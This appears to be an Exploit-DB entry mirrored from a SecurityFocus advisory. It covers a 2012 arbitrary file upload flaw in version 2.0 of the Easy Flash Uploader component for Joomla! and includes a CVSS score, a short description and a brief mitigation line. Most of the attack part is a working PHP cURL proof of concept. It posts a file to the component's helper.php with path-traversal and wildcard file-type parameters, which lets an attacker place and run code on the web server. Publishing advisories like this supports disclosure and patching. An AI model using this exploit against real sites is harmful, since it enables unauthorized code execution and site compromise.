Easy Flash Uploader Component for Joomla! Arbitrary File Upload Vulnerability

vendor:

Easy Flash Uploader

by:

SecurityFocus

7,5

CVSS

HIGH

Arbitrary File Upload

434

CWE

Product Name: Easy Flash Uploader

Affected Version From: 2.0

Affected Version To: 2.0

Patch Exists: YES

Related CWE: N/A

CPE: a:joomla:joomla

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

Easy Flash Uploader Component for Joomla! Arbitrary File Upload Vulnerability

The Easy Flash Uploader component for Joomla! is prone to a vulnerability that lets attackers upload arbitrary files because the application fails to adequately sanitize user-supplied input. An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process. The exploit code provided uses cURL to send a POST request to the vulnerable server with the malicious file attached.

Mitigation:

Ensure that user-supplied input is properly sanitized before being used in the application.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/53977/info

The Easy Flash Uploader component for Joomla! is prone to a vulnerability that lets attackers upload arbitrary files because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process.

Easy Flash Uploader 2.0 is vulnerable; other versions may also be affected. 

<?php

$uploadfile="lo.php";

$ch = 
curl_init("http://www.example.com/plugins/content/efup_files/helper.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
                array('Filedata'=>"@$uploadfile",
                'JPATH_BASE'=>'../../../',
                'filesize'=>'2000',
                'filetypes'=>'*.*',
                'mimetypes'=>"*",
                'destination'=>'./'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>